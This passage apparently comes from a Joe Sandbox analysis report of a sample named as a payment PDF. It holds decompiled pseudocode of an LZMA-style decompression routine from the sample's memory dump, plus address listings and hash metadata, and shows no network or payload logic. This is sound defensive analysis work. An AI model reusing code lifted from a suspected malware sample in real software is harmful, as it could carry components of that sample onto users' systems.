									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x0040661f
0x00406626
0x0040662c
0x00406632
0x00000000
0x00406636
0x00406642
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x00406658
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666d
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066b8
0x004066bb
0x004066e3
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066bd
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d5
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672c
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406731
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x0040674e
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406794
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3c
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e72
0x00406e79
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e7b
0x00406e7b
0x00406e7f
0x0040702e
0x00000000
0x0040702e
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9a
0x00406e9a
0x00406e9d
0x00406ea0
0x00406ea0
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00000000
0x0040684b
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x0040682e
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00000000
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00000000
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00000000
0x00406b96
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00406857
0x00406857
0x0040685b
0x00406fc8
0x00000000
0x00406fc8
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406876
0x00406879
0x0040687c
0x0040687c
0x0040687f
0x00406882
0x00000000
0x00000000
0x00406888
0x0040688e
0x00000000
0x00000000
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068bf
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f2
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x004068fb
0x00406902
0x00406905
0x00000000
0x0040690b
0x00000000
0x0040690b
0x00000000
0x00406910
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x0040692f
0x00406932
0x00406935
0x00406935
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x00406958
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406983
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x00406988
0x0040698f
0x00406992
0x00000000
0x00406994
0x00000000
0x00406994
0x00406992
0x00406999
0x00406999
0x00406999
0x00406999
0x00000000
0x00000000
0x004069d4
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f3
0x004069f6
0x004069f9
0x004069f9
0x004069ff
0x0040699d
0x0040699d
0x004069a0
0x00000000
0x004069a0
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1c
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a47
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a4c
0x00406a53
0x00406a56
0x00000000
0x00406a58
0x00000000
0x00406a58
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00000000
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00406e2a
0x00406e2a
0x00000000
0x00406e2a
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00406ea6
0x00406ea6
0x00000000
0x00406ea6
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x004069a3
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x00406ded
0x00407022
0x00407044
0x0040704a
0x0040704c
0x00407053
0x00000000
0x00000000
0x00406651
0x00407059
0x00407059
0x00000000

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f3059c0ab10d0f6eca9bda3b9c7ef9d62a7fb15769fd34cf569834d4f38521
Instruction ID: 30cc61a65d8e7361f2687543d4853da4ee9de610700e1b42b944a6768b2f9653
Opcode Fuzzy Hash: 51f3059c0ab10d0f6eca9bda3b9c7ef9d62a7fb15769fd34cf569834d4f38521
Instruction Fuzzy Hash: D4817771D04229CBDF24CFA9C8447AEBBB0FF44305F21816AD856BB281C7796A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406A5D Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406A5D() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00407061))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push("true");
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
